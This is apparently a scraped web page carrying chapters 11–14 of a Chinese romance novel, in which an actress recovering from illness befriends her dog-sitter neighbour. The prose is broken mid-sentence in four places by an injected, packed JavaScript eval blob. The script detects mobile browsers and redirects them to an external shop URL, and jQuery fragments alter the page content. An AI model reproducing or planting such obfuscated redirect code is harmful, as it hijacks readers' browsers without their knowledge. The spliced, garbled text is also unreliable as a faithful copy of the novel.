倪杉在上午醒来,和桑桑一起回剧组继续忙碌。 活动一结束,海市立马放晴,阳光明媚,天气几乎好得气人。 她和小助理一起在机场喝了冰美式,整个人都困央央的,也不知道自己的行李收拾利索了没,有没有什么东西忘在酒店,她很混乱,一概不知。 “姐,加油,再坚持一下,下周咱们就能杀青了。” “我今天这个状态,等会儿到了剧组可能都不知道自己在演什么。”倪杉苦笑着说。她用手轻轻揉着小腹,觉得不太舒服。 “哎,我那条裙子装了吗?” “哪条?昨天穿的那个闪闪发光的礼裙?” “对。昨天回去时裙摆都湿透了,我就挂在浴室晾着,上午收拾行李的时候…………”倪杉心生不妙,面色凝重地看着桑桑:“我不记得我有把这个裙子装进行李箱里的过程。” 其她女艺人的礼裙都是找品牌借的,昨天活动结束就都被造型师收走还给品牌了。她这裙子还打算以后继续穿呢,虽然生活中应该不会有合适的场合,但还是想要留着。 “没事,姐,酒店清扫房间的时候会给入住人打电话的。我上次,我上次在房间点了麦当劳,套餐送了个玩具,我嫌那个玩具太丑,就丢在桌子上没带,结果退房后酒店还给我打电话,问要不要寄给我。” “但愿吧。”即使小助理这么说了,倪杉还是肉眼可见的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299292|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪低落。 即使胃不舒服,倪杉还是把一杯冰美式全喝光了。她要靠这个消肿。 “姐,下次还是提前叫我帮你收拾行李吧。你别自己收拾了。” “你说的对,还是你靠谱。” 倪杉难受了一天,终于在晚上十一点后撑不住了,被小助理带去了医院。 她坐在椅子上输液,想着自己今年也不是本命年啊,怎么三天两头生病,怎么就这么倒霉。 再这样下去,我该不会走在一猪前面吧,她绝望地想。 “姐,医生说你得好好注意身体,再这样下去你就晚节不保了。”桑桑语重心长地对她说。 “是吗?我怎么不记得医生说过这种话。” 倪杉不以为意地说。 其实这点小病吃几天药也能好,只是她担心会影响明天的拍摄,所以打了点滴,想要快点恢复。 “其实我上个月刚去过医院,住了四五天,我都没敢跟你说。” “你怎么了?”桑桑还真不知道。 “就是感冒嘛,拖着拖着就严重了,我也没想到。” “姐,你要不然,再找个女朋友吧。” “你想让我找个什么样的女朋友?”倪杉反问道。 “找个会照顾人的女生,能把你照顾好的,能陪你去医院,能接你下班的。” 就比如我这种。 桑桑越说声音越小,她生怕自己表现得太过明显,几乎不敢看倪杉。 她默默陪在倪杉身边五年,自认为自己对她还算了解,也知道一些关于她的秘密。 倪杉人很随和,对身边的工作人员也好,虽然是小工作室,但逢年过节都会给大家准备礼物和红包。 桑桑清楚地知道自己配不上倪杉,可她偏偏忍不住喜欢她。 倪杉的长相明艳,头发烫起来就有一种很港风氛围感,私下又温柔可爱,反差很大。 她想,自己只要像这样,继续陪在倪杉身边就已经很好了。 她很乐于见到倪杉对自己表现出依赖,心口泛起密密麻麻的粉色泡沫,好像浴球掉进水里,无可挽回地融化了。 倪杉裹着西装外套,歪着脑袋对她说: “非要找也可以,但是我感觉自己已经过了那种想谈恋爱的年纪。” “反正到最后都是我一个人,不想再自找麻烦了。” “以前我看到很多人相亲之后就草草结婚,觉得很不理解,但现在有点理解了。” 二十多岁的时候,倪杉还会间歇性犯病,会突然想要谈一场恋爱,想爱人,想被爱,想和恋人纵欲滚床单。 她在心里明白,其实那都不是爱,只是激情和欲望,来得快去得也快。 她捂着小腹站起身,桑桑很有眼力劲儿地帮她举着吊瓶,陪她往洗手间方向走去。 桑桑在门口等她,口袋里装着倪杉的手机。 感觉到手机在震动,她拿起来,看到是有人打来的视频通话。 岁岁平安。 看名字应该是个老年人。 不对啊。 她跟在倪杉身边这么久,没听说过她和父母联系过啊。哪儿来的野老人。 她把手机放回口袋,静静等待对方挂断。 12. 回家 病去如抽丝,直到杀青那天,倪杉还是觉得自己不太舒服。 她抱着鲜花,吃了胃药,还是去了经纪人发来的饭局地址。 有知名导演在场的酒局饭局,不能不去。倪杉想着,哪怕露个脸,刷一刷存在感也是好的,以后有机会说不定能捡一点肉渣。 因此她搭乘下午的飞机回到京市,让桑桑先回家,自己从机场直接去了饭店包厢。 “姐,你今天要喝酒,胃受得了吗。”桑桑忧心忡忡地说。 “没事,我稍微少喝点。” “那你晚上结束,给我打电话,我去接你。” “我今天晚上想回榆城。”留在京市就要住酒店,身体不舒服连着心情也跟着脆弱,倪杉有点矫情,觉得自己非要回家不可。 “那你完事儿后联系我,我送你回榆城。” “麻烦你了。” 倪杉到了之后,发现经纪人还带了一个势头很好的年轻女演员。倪杉和大家打了招呼,在她斜对面坐下,依稀看得出她脸上的整容痕迹。 这女孩还在电影学院上学,就要开始学着适应这样的生活了。倪杉看着她野心勃勃的眼神,想起了一位故人。 这位导演正在筹备一个新项目,制片人、编剧都在,聊天声吵闹,倪杉不擅长应付这种饭局,她镇定自若地吃了几口饭,再不擅长的事,时间久了也能摸出点门道,她跟着经纪人敬酒、自荐,几乎把自己逼出了另一重人格。 饭局上还有一个女演员,跟倪杉情况差不多,一直不温不火,后来靠着下海小火了一把。 “我差不多要结束了。”倪杉拿出手机,给桑桑发了消息。 这饭局越吃人越多,已经让服务员加了四把椅子了,倪杉打算先一步溜走。 没想到桑桑很快回复了她:“姐,我已经到了,车停在马路对面的停车场。” 她比较担心倪杉,回家放下行李就开车出来,提前等在了门口。 不一会儿,她就看到倪杉穿着风衣从门口走出来。倪杉穿着高跟鞋,因为喝了酒,脸颊微红。 晚春的风很猛烈,把她的长发吹得飞起,倪杉双手捂着小腹,看得出很不舒服。 在出来之前,她去洗手间尝试着想吐一吐,却怎么都吐不出来,只能忍着难受,打算回家再说。说不定一会儿就好了呢。 “姐,我给你买了粥。你还难受吗。” “谢谢,但是我现在喝不下。”倪杉疲惫地说。 “要吃点药吗。” “我不知道喝了酒能不能这么快吃药,先算了吧。” 车开了。 倪杉靠在后座上,看着窗外后退的一盏盏路灯。她的眼眸幽深,明明喝了酒,却看不出一丝醉意。 身上有好几种疼痛,胃疼,头疼,眼睛疼,心口疼,每一种疼痛都让她清醒。很困,但是没办法睡着。 每个人喝酒之后的反应都不太一样。 倪杉比较奇葩,喝酒之后,她的全部感官都变得更加敏锐,她想转移注意力,于是对桑桑说: “放点音乐吧。” 桑桑播放了她自己最常听的歌:Godspeed。 听到第三遍,倪杉问她:“就这一首歌吗。” “我平时就只循环这一首歌。” “你还挺专情的。” 倪杉用额头抵住玻璃窗,好心劝她: “小小年纪这么专情做什么,正是花心的年纪,就应该听一首爱一首。” “没办法,我就只喜欢这一首歌。” “不会听腻吗。” “不会。” “总有一天会腻。你会变得只想安静开车,什么音乐都不想听。” “可能吧,至少现在我还很喜欢。” 从京市到榆城将近两个小时车程,桑桑原本很困,下午坐飞机回来她一点都没休息,现在却被倪杉这番话彻底给吓醒了。 她有一个不好的预感,倪杉是不是看出什么了。 接下来的时间,两人谁都没有再说话。 开往榆城的路上一路畅通,从灯火璀璨的京市逃离出来,空气都变得柔和清新。 林岁安开车回到家时已经很晚了。 秦筝那边又救助了一窝小猫,在宠物医院做过检查后,交给林岁安代为照料。 林岁安想起上次救助的小猫还没领养出去,秦筝说,小动物救助组织这周六在市中心的商场举办领养活动,让她到时候把胆大亲人的小猫都带过去,看能不能找到好心的冤大头。 小猫比较顽皮,正是爱玩爱闹的阶段,领回家去可能会挠坏沙发和窗帘,林岁安家的那几只小猫在笼子里已经呆不住了,开始跃跃欲试地想要探索新环境。 林岁安给这群新来的小猫清理干净眼睛周围的脏东西,用针管一只一只喂了泡好的羊奶粉,帮助它们排便,再用湿巾擦干净。 秦筝给她从医院拿了个猫窝,她的女朋友骑着电瓶车在宠物医院门口已经等候多时了。 两人当着林岁安的面就迫不及待地抱在一起亲了一下,林岁安简直没眼看。 就,有这么急吗。 “哎,岁岁,我真的建议你找个女朋友。”秦筝戴上头盔,把脸贴在女友的背上,看着林岁安说。 “谢邀,找不了一点。” “为什么?我跟你说,那种家里有老婆的感觉简直太好了,一旦体验过就再也回不去了。” 林岁安摇摇头,挥挥手,目送两人骑着电瓶车风驰电掣离去。 她之前去秦筝家吃饭,两人就聊过这个话题。 当时秦筝和女友搬新家,之前的出租屋有闲置的桌椅和置物架,林岁安刚好有需要。 秦筝的女友下厨炒了好几样菜,林岁安站在她们家的阳台上,她一个人生活惯了,对小情侣间温暖甜蜜的拌嘴和互动感到很新奇。 林岁安当时就和秦筝说了: “我对人的事情不感兴趣,甚至……我对人类充满偏见。” 没办法,她这人生来就不喜欢人。 她甚至很夸张地说:“人的喜怒哀乐,生老病死,悲欢离别,我都不关心。一个人死在我面前我看都不会看一眼,我就是这样的人。” 她才没有兴趣去了解和探索另一个人类呢,爱不了一点。 “我不信,对一般人没兴趣,那你对美女总该有兴趣吧。要我说你就是眼光太高。要是有一个极品美人站在你面前,你能不爱?”秦筝说。 眼光这么高,自身条件又不好,大概率是要一辈子单身了。 “真没有。我感觉我可能有点什么毛病,就是没有和人有关的七情六欲,心里惦记的全都是猫咪狗狗。” “你得多出去玩玩,要去有美女的地方混一混才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299293|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有可能遇到喜欢的人,你现在这个态度就不对。” “我什么态度?”林岁安笑得欠儿欠儿地问她。 “你就躺在荒山野岭人迹罕至的毛坯房里什么也不做,眼巴巴地等着漂亮姐姐来敲门。” 秦筝摇着头说: “你这样一辈子都不会有女人的。” 没有就没有吧。 感情也好,女朋友也好,都是可有可无的东西。 自从林岁安决定在城郊买房那天起,她在心里清楚,自己从此都和人生伴侣无缘了。 谁能接受年纪轻轻就住在荒山野岭,远离都市繁华生活? 谁能接受家里有这么多猫猫狗狗?掉毛季简直就是灾难。 人和人之间的相处太复杂了,林岁安不理解为什么要自寻烦恼。她和猫猫狗狗在一起能够给自己的身心充电,和人在一起又能得到什么呢。 她所追求的生活,现如今已经得到了。 林岁安把车停在院门口,先把小猫安置进家里的空笼子里。一猪和大黄都醒了过来,见到有新成员进门,两狗都好奇地凑上去嗅嗅。 林岁安想起那一袋羊奶粉连带喂奶用的针管还在车上,她又返回去拿。 她忽然想起今天又忘记和一猪妈妈打视频了。 一猪妈妈不像别的主人那样会主动给她发消息: “你好在吗,看看猫。” “你好,在吗,看看狗。” 因此,林岁安总是在忙碌一天之后才想起未完成的业务,和一猪妈妈的视频时间也就被安排在了睡觉之前。 她拎着东西,在开门之前转身,透过茫茫夜色往对面的房子里看去,在落地窗边的沙发上看见一个模糊的人影。 她回来了吗。 林岁安忍不住走到倪杉的院门口,想要看得更清楚一些。 果然是她。 两人遥远地隔着玻璃,无声对视 倪杉没开灯,照道理,外面的人看不清房子里的东西,可林岁安的那双眼睛还是直直对上了她的眼睛。 倪杉正坐在沙发上发呆。 她脱了高跟鞋,棕色的长卷发已经没了好看的造型,风衣被她随手扔在一边。上衣衬衫的扣子解了一半儿,露出部分bra。 林岁安的出现吓了她一跳。大晚上的,这小区极少有活人。她从悲伤中惊醒,对上林岁安担忧的眼神。 倪杉眨眨眼睛,拿起桌上的矿泉水喝了几口,摇晃着步伐往二楼走去。 这人一旦太美,就忍不住想要远离。 林岁安想,如果那天晚上的倪杉是以这副模样敲响她的门,她一定不敢那么随意自如地带着她跳舞。 演员、模特这种职业会给人带来一种光环,在这层光环之下,倪杉更美了。 林岁安深深呼吸,刚才不知道是什么情况,她觉得自己的心脏好像忽然停滞了几秒。好像坐跳楼机坐到一半,整个人猝不及防地被卡在了半空中。 林岁安跺跺脚,有点尴尬地跑回家,开门时发现自己手心都出了汗。 思来想去,她在睡前还是给一猪妈妈发了消息: “你好,在吗。明天要来接一猪小宝回家吗。” 撤回。 “你好,姐姐。” 撤回。 算了,她想。我还是安心睡觉,明天等姐姐主动找上门吧。 13. 主动送狗 清晨,林岁安出门遛狗,路过倪杉的院子时往里多看了几眼。 一猪在院子门口闻了半天,一个劲儿地转圈圈,像是感知到了什么。 林岁安像往常一样带着小狗们在户外玩够一小时,然后顺路去买了菜和肉。她拎着大包小包往回走,路过蜜雪冰城还给一猪买了一个冰激凌。 她昧着良心,让其他狗看着一猪吃掉了冰激凌。 一猪在她这里养久了,跟她的关系格外亲近,林岁安不知不觉就把它当成了自己的小孩儿,她在心里默默反省,知道自己这是在偏心。 没办法。一猪妈妈给的太多了。 看着其他狗子眼巴巴的盯着自己,林岁安于心不忍,又给它们一狗买了一个冰激凌。 这下好了,这下公平了。 每只小狗吃冰激凌的视频都发给了主人,倪杉被手机震醒,点开视频,被一猪可爱晕了。 搬到这边之后,倪杉对这附近的商铺探索极少,都不知道这家蜜雪冰城是什么时候开的。 她给林岁安发了个可爱的小表情。 昨晚回家,她记得自己和林岁安碰了个面。但她当时的状态又累又难受,因此没有和她打招呼。 她给林岁安发去消息: “不好意思,昨晚回家太晚。” “没关系,我昨天回家也很晚。”林岁安很明显不知道她在不好意思什么。 等林岁安牵着狗子们大包小包满载而归,倪杉才刚刚起床。 林岁安把买来的东西归纳进冰箱,一刻也不能耽搁。上次她就慢了几分钟,去忙别的事,一个没看住,一盒鸡蛋全部被狗子们吃光光。 初夏的榆城已经很热了,倪杉洗好澡出来,懒洋洋地躺在沙发上晒太阳。 她想休整一天,晚一天再去对门接一猪。 她把手放在小腹上,轻轻揉着。揉着揉着感觉还是不太舒服,索性翻身趴在沙发上,让柔软的靠枕抵住腹部。 没想到计划赶不上变化……林岁安主动给她把孩子送上门来了。 林岁安带着一猪站在小院儿门口,按了门铃。 隔着玻璃,她清楚地看到倪杉在家里的样子。倪杉刚刚洗了头发,就这么湿着头发趴在窗边的沙发上,任由水滴顺着发丝低落在地上。 空寂被打破,倪杉抬起头,眼神有些茫然,好像没想到会有人来。自从她搬到这里,还从没有人按过门铃。 看清门外的人和狗,她站起身去开门。 一猪兴奋地想要冲上去,林岁安死死抓着狗绳,担心它会再次撞晕倪杉。 “好久不见。” “好久不见。” “你工作结束了吗?” “嗯,不出意外,应该可以休息几天了。”倪杉弯腰搂住躁动的一猪,半个月不见,感觉林岁安把它养胖了一圈。 “其实也没有好久不见吧,我们几乎每晚都视频。”倪杉纠正了林岁安刚刚的打招呼用语,说完之后又觉得自己有点像在欺负小孩。 经过一段时间的视频联系,她觉得自己和林岁安之间已经算是朋友了,可以开一点玩笑。 “那怎么能一样呢。在视频里见到小狗,和面对面见到小狗,完全不一样好吧。”林岁安看着母子相依的画面,也感到开心。 “你说的也对。” 两人一狗站在倪杉空荡荡的小院子里,林岁安四处看看,不知是不是她的错觉,她觉得倪杉的小院子比自己的院子大一圈。 好可惜啊。不栽花不种树也不铺草地也不摆秋千,这么好的一个院子真是白瞎了。 “你在看什么呢。”倪杉也跟着她的视线四处看看,怎么了,我这小院儿多干净啊,一层不染。 “没什么。不过,姐,我之前真没想到你是做那种工作的。” “那种工作怎么了,大家都是为了生存。”倪杉被她逗笑了,她走上台阶,打开门,招呼林岁安进门。一猪知道这是自己家,门一开就轻车熟路地往进走去。 “我以为你们做那种工作的人不会住在这种地方。” “确实,要不是为了一猪,我应该也不会搬到这里来。” “一猪真的好乖好可爱。”林岁安发自内心地说。她也曾经昧着良心夸客户的狗子,但此时此刻她是真心的。 “我这里寄养过各种各样的狗,和伯恩山犬相处这么久还是第一次,没想到会这么可爱。” 林岁安走进倪杉家,倪杉家全屋铺了木地板,客厅的沙发边有一张厚实柔软的地毯,整栋房子给人的感觉很温馨。她站在门口,看着倪杉在冰箱里翻翻找找,最终一无所获。 “不好意思啊,家里,什么也没有。本来想招待你喝点什么的。” “没事没事,别麻烦了。我就是把狗送过来而已,这就回去了。” “哎,我记得我有一盒茶包来着,从京市搬家的时候带过来了,但现在找不到了。”倪杉的厨房不常用,地上堆着好几个未开封的大箱子。 “别别别,姐姐,我不喝茶。” “那你爱喝什么?雀巢?” 林岁安笑着点点头,她忍不住抬眼观察倪杉。倪杉今天没化妆,穿着睡衣拖鞋,美得清清淡淡,没那么有攻击力,反而有些呆萌温柔。 倪杉也在观察着她。 前一段时间没少在视频里见面,她觉得林岁安跟视频里没区别,可爱又有趣,就是很典型的年轻小女生。 倪杉评价她说:“我发现你笑起来特别像小狐狸。” “你意思是说我心眼子多。” “你多吗。” “不多吧,我但凡有点心眼子,我就进职场厮杀了。” 你看哪个有心机的人天天和猫狗打交道。 林岁安摇摇头,表示姐姐判断失误。 倪杉家有一台半自动咖啡机,搬来之后因为她太懒,还没用过。她从抽屉里翻出压粉器和萃取手柄,回头看着林岁安说: “我家还真没有雀巢,要不我给你做一杯咖啡吧。” “别做了姐,我真的……”我真的要走了。 “我要开始磨豆子了。”倪杉从一旁的柜子里拿出全自动磨豆机,大张旗鼓地把一些咖啡豆倒了进去。 这台磨豆机价格不比咖啡机便宜,倪杉准备好了一切,唯独忽略了自己的懒惰。 “……那我要一杯拿铁。”听着咖啡豆磨粉的声音,林岁安说。 既然如此,她就不客气了。 “拿铁啊。我家没有牛奶,你家有吗。” 倪杉看着林岁安,觉得她家肯定有: “你能不能回去取一瓶牛奶?再拿一个你常用的杯子?” 林岁安两步到家,她刚好想起有些东西忘记拿。 她把一猪的半袋子狗粮和没吃完的罐头一起打包,还有饭盆水盆,以及几个咬咬乐玩具。 大黄独自从山里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299294|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遛弯回来,惊讶地发现一猪不在家,又看到林岁安把一猪的东西都收拾好了,它有点着急地叫了两声,像是在问她:我的好朋友呢? “你的小弟回家了,你要跟我去看看它吗。”林岁安招呼大黄跟上,一人一狗就这么进了倪杉的小院。 “hello,姐姐,大黄可以进来吗。” 林岁安站在门口问道: “它很乖,不会捣乱。” “来吧,正好我也有东西要给它。”倪杉打开柜子,拿出两袋未开封的小狗零食。 她家别的没有,小狗的罐头零食冻干最多最全,之前桑桑和她开玩笑说家里要是进了贼,翻了半天发现这个家什么都没有,全都是狗粮,当场就被气死。 大黄确实很有边界感,很客气,在家里四处溜达了一圈,见到一猪就放心了。 林岁安站在餐桌前,远远看着她忙碌:“怎么不给你自己也做一杯?” “我特别想喝,但是昨晚喝了酒,胃不太舒服。” 倪杉的咖啡瘾很大,她上次进医院时心里有数,知道自己胃不舒服大概率是因为喝了冰美式。 见到林岁安端着杯子站在原地,一副随时要走的架势,倪杉在餐桌前拉开椅子,按着她的肩膀让她坐下。 两人离得很近,林岁安闻到倪杉头发散发的香气。 “你这么局促干什么,上次在你家带着我跳舞的时候不是很松弛吗。”倪杉问她。 “在我家当然松弛了。” 但这是在你家。林岁安默默喝了一口咖啡。 她注意到倪杉坐在对面的椅子上,眼神放空,一直用手揉着小腹。 大黄和一猪像左右护法一样,都趴在倪杉身边。 林岁安无语地看着大黄:你怎么这么快就叛变了,到底谁才是你的妈妈! “你磁场很好,大黄很喜欢你。” 小狗的第六感很准,小狗觉得倪杉是个值得信任的好人。 “是不是因为觉得我家有好吃的,所以愿意和我亲近?”倪杉垂下手去,轻轻摸摸大黄的脑袋。 一猪看到后马上不乐意,也凑上来要摸摸。 “明天早上,你要不要和我一起遛狗。”林岁安把咖啡喝光光,大发慈悲地对她发出邀请。 “太早了,我可能起不来。”倪杉婉拒了。 “我想带你去我遛狗的秘密基地看看。” “就是那片空旷的草地吗?”倪杉回想起在林岁安直播间里看到的场景。 “对。你跟我去认个路,以后你可以带一猪去那边玩。” 林岁安强调道: “我都没告诉过别人哦,我就只带你去。” “这附近也没有别人吧。”倪杉无奈地说,再好的秘密基地也无人可分享。 等到林岁安带着大黄回去,倪杉继续趴在沙发上小憩。 不一会儿,她就收到了林岁安发来的消息: “你家有胃药吗。” “有。” 昨晚回来的时候,桑桑给她买了一袋子药,有感冒药,有胃药,有消炎药,应有尽有。 “不舒服的话最好还是去医院。” “好。” 岁岁平安又发来一条消息:“我感觉我才像姐姐。” 我这人简直了,啧啧啧,成熟体贴得让人害怕。 没想到倪杉回复她说:“你不像姐姐。你像个啰嗦的老奶奶。” 14. 一起遛狗 倪杉第二天早上是被林岁安打语音电话叫醒的。 早上六点,林岁安本身五点半就要出门,考虑到倪杉可能起不来,特意晚了半小时。 “姐姐,早上好,醒了吗!” “………” “我们说好今天要一起去遛狗,你还记得吗!” “…………” 谁跟你说好了。我明明记得我婉拒了啊。 一猪已经迫不及待在门口等着要出门了。它隔着小院的围栏,冲着对面的林岁安叫了几声,让她别忘了自己。 “你妈妈呢,快去把她叫下来,我们一起。” 倪杉换上运动服,用清水洗了脸,涂了一层防晒,就这么牵着狗出门了。 昨天在家休息了一天,今天状态好像恢复了一些。她原本以为自己没什么力气遛狗,但现在走在路上,感觉也还好。 林岁安今天只牵了一只萨摩耶,其他狗狗都被主人接回家了,只剩它一个vip用户。 只可惜这只萨摩耶没办法和猫咪和平相处,因此回去之后林岁安只能把它关进小隔间。 “你今天还胃疼吗。”林岁安问她。 “好多了。” “那就好。” 倪杉还是有点睁不开眼,她跟在林岁安身后,没注意到林岁安正放慢脚步等着小狗上厕所,一不留神,一头撞在了林岁安的后背上。 “没事吧,疼不疼。”林岁安迅速转身,倪杉来不及躲开,两人之间几乎没有多余的空间,过于亲密。 “你怎么总是在问我疼不疼。”倪杉笑着后退几步,这么一撞倒是把她给吓清醒了。 曾经也有一个人总是问她疼不疼,那个人不在了,再次听到这样的关心,倪杉的心底泛起密密麻麻的难过。她不动声色地把这些情绪压了回去。 林岁安不放心地看着她。 “你为什么比我高,穿增高鞋了吗。”倪杉低下头,观察她的鞋子。 马丁靴,鞋底挺厚,果然是偷偷增高了。 “我本来就比你高。”林岁安也后退了几步,没有增高!我本来就这么高。 “谁说的。” “上次跳舞的时候,我记得你比我矮很多。”林岁安大逆不道地用手在倪杉头顶上比划了两下。 “没有!才没有!不信等下回去你脱了鞋,我们再比一比!” 倪杉之前穿惯了高跟鞋,对自己的身高有了一点误区,因此十分不服。 两人继续往前走去,走到小区门口,林岁安要直走,倪杉却习惯性地要拐弯。 林岁安问她:“你以前的遛狗路线是怎么走?” “就,绕着这个小区走两圈,然后回家。” 倪杉以前在京市的小区一直都是这么遛狗的。只是那时候还要更早起床一些,为了避免遇见怕狗的人,凌晨四点她就牵着一猪下楼,在五点之前速速回家。 现在自由多了,哪怕七八点钟起来遛狗,在小区里也碰不见任何人。 “你这多浪费啊,小区外面环境特别好,再走几百米就可以上山。这个景区很火的,很多人都特意开车来这边旅游。” 林岁安指着远处被雾气环绕的那座山。 “我之前没想过要往远走。” 倪杉跟着林岁安走到小树林,开始觉得有些热。 她把外套脱下来拿在手里,注意到林岁安的手臂上有很明显的肌肉线条。 两人不约而同地开始给对方展示自己的肌肉。这都是养狗之后日积月累养成的,用力抓紧狗绳,防止大狗爆冲。 林岁安说自己能够轻松地抱起任意一只大型犬,比如萨摩耶,倪杉说那有什么厉害的,我也可以。 一猪在地上走得好好的,突然四脚离地,被妈妈抱起。它一脸无措地挤在倪杉怀里,不是很懂现在的状况。 林岁安也不甘示弱地抱起了萨摩耶,两人跟有病似的,谁也不服输,就这么慢悠悠地抱着狗一直走下去,快要走出小树林的时候,两人几乎同时把狗放在了地上。 “怎么样,累不累。” “不累,轻轻松松。”林岁安说完这句话就躺下了。 “你累啦。”倪杉气喘吁吁地说。 “不累。” “你累。” “我不累。” “你说你累了。” “我一点也不累,我是困了,突然想睡一会儿。” 我不累,我只是突然原地去世了。 倪杉在林岁安旁边坐下,四下无人,她解开了一猪的狗绳,让小猪自由奔跑。 一猪一边跑,一边时不时回头看看倪杉。 萨摩耶和一猪各玩各的,倪杉和林岁安一人盯着一个方向,林岁安把狗绳放到最长,始终没有松手。 “上次遛狗的时候还觉得很冷,春寒料峭,转眼间已经是夏天了。”倪杉的行李箱还没整理,里面还装着一件薄羽绒服和一条毯子。 等下次再带着行李出发去工作,就要换成夏天的衣服了。桑桑昨天给她打来电话,她落在酒店的裙子已经被酒店寄过来了,没有丢。 林岁安躺了很久,往常她都是一个人在这里带着一群小狗享用这片草地,呼吸新鲜空气,听着布谷鸟的叫声,今天她却让一个外人进入了自己的秘密领地。 她也说不上为什么,至少她能感知到倪杉身上的磁场是好的。好是一个抽象的笼统的不清晰的概念,那种磁场就像一盏小小的发散的圆形光源,没有具体的形态,只能靠感知。 人的磁场是骗不了人的,性格和行为都可以作假或伪装,只有磁场不会骗人。 虽然在网上搜索倪杉的名字时蹦出来的都是一些负面相关词和剪辑片段,倪杉也确实把每一个坏女人都演得生动真实,让人憎恶,林岁安对人的判断标准很简单: 一个把伯恩山犬养的这么小猪这么天真的人能坏到哪里去。 林岁安指着身后的银杏林对倪杉说: “等夏天的时候,在两棵树之间可以用绳子拴起吊床,躺在吊床上摇摇晃晃睡觉,还可以在这里野餐。” “现在已经是夏天了。” 倪杉回头看了看这片树林,她一路走来都没注意这到底是些什么树。不知道是野生的还是人为栽种的。 “这里一直都没人来吗。” “有的,但这个时间不会有人来。” 林岁安把手挡在眼前遮挡刺目的阳光,忽然说:“你之前说我的手好看。” “现在近距离看看,还觉得好看吗。” 小狐狸把手伸到倪杉面前,骨节分明,修长柔软,没有戴任何戒指,手背上能清晰看到青色的血管,以及一颗小痣。指甲干干净净,手腕纤细有力,手心里的纹路很乱,倪杉不会看手相,她盯着看了一会儿,移开了视线。 “好看吗。”林岁安又问了一遍。 “不如爪子好看。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299295|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >倪杉忽然问她: “你之前说过你多大来着?” “二十五。” “为什么年纪轻轻要在这样的地方生活?” “你也很年轻啊,不也一样开始养老了吗。”林岁安说。 倪杉摇摇头:“二十岁和三十岁还是很不一样的。你有在京市或是沪市工作、生活过吗。” 在二十多岁的时候,倪杉很喜欢京市物欲横流的生活,哪怕到现在为止她也依旧很喜欢。 奈何京市容不下她的小狗,她才不得已离开,原本她是坚定地要在京市定居,曾沐要留在京市,她不可能去别的地方。 后来曾沐走了,对倪杉而言去哪里都一样,只要对大型犬没那么多边边框框就好,因此她很随意地选择了榆城。 “有。在落地机场的那一刻起,我就知道这地方不适合我。我在拥挤得难以呼吸的地铁上和陌生人贴在一起,到站后被车厢吐出来,再换乘另一班地铁………我意识到我这个人真的是吃不了一点苦啊,在这样的环境下生活我是过不下去的。” 林岁安不能接受自己的生命被损坏,人在糟糕的环境下生活,要不了多久身心都会出问题,因此她开始寻找适合自己生活的城市。 就像她在高中时选择休学一样,学习本身不是什么痛苦的事,但糟糕的人际关系和恶性竞争让她感到恶心。她思考了一下,想清楚自己未来想做的事和现在所学的东西毫不相干,在这个教育系统中她学不到真正有用的知识,因此她决定休学。 明明没有抑郁,却表演出了抑郁的情绪,她骗过了所有人,得到了自己想要的结果。没人知道她是这么胆大妄为又聪明的人,她平时太乖了,在学校没有存在感,却做出如此叛逆的选择。 父母很显然并不死心,从小优秀到大的女儿突然变成这样,他们难以接受,因此想让林岁安出国留学。林岁安刚好也有离开父母独自生活的打算,她很配合地用高中优异的成绩单申请了学校,又去考了语言成绩,等到收到学校的录取通知书,她带着学费和生活费去绕世界旅行,没有去学校报道。 等她在外面玩够了,想要寻求安定的生活,她又偷偷回国,开始新的计划。 原本林岁安想的也是在京市或沪市开一家宠物寄养中心,她去考察了一段时间,最终还是放弃了这个方案。 “所以我就选了榆城,我就是想过这种瓦尔登湖模式的生活。我以为你也是这样的人呢。”林岁安对倪杉说。 “挺好的,年纪轻轻就知道自己想要什么。” 你想要,你得到。 倪杉打心眼里感到很羡慕。 “那你呢。” “我啊。我还不知道呢……现在不知道,以后也不一定会知道。” 说得也是。人生就是谁也不知道接下来会有什么新想法和变化,或许有一天我也会改变主意,想要离开这里。”林岁安感慨地说。 